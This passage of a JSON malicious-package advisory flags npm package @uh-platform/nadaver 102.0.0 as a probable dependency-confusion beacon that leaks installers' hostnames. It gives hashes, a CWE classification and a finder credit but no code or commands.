Both DNS resolution and the HTTP request leak the installer's hostname to the attacker on every install, with no user interaction. The `@uh-platform` scope combined with an unusually high version number (102.0.0) is consistent with a dependency-confusion beacon aimed at internal build systems that resolve the scope against the public npm registry.\n","modified":"2026-09-21T19:30:05.813796935Z","published":"2026-09-21T18:56:37Z","database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","versions":["102.0.0"],"id":"IN-MAL-2026-020271","import_time":"2026-09-21T19:15:00.038167027Z","modified_time":"2026-09-21T18:56:37Z","sha256":"66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@uh-platform/nadaver/v/102.0.0"}],"affected":[{"package":{"name":"@uh-platform/nadaver","ecosystem":"npm","purl":"pkg:npm/%40uh-platform/nadaver"},"versions":["102.0.0"],"database_specific":{"indicators":{"evidence_files":[{"path":"index.js","sha256":"62aad3970128b9f299cbace594102ba0082fc76e232f195be9593a9aa29581fa","tlsh":"78e07d1449f9543632a29455fd2e981e76479902113ff6876dcfa71417c0948c41d2da"}],"package_integrity":[{"hashes":{"sha512_sri":"sha512-cbnhLc1pmjlP1DRoe05KsEcNdCJQYPjybyGfYfDtAzj46sFuO8MpI+zbPg6lGqenU801q/SndNCVUcXUcBJlvQ==","sha1":"6b06e8b66a1c528097c6bf333b25bf61c755d122"},"filename":"nadaver-102.0.0.tgz"}]},"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@uh-platform/nadaver/MAL-2026-16360.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
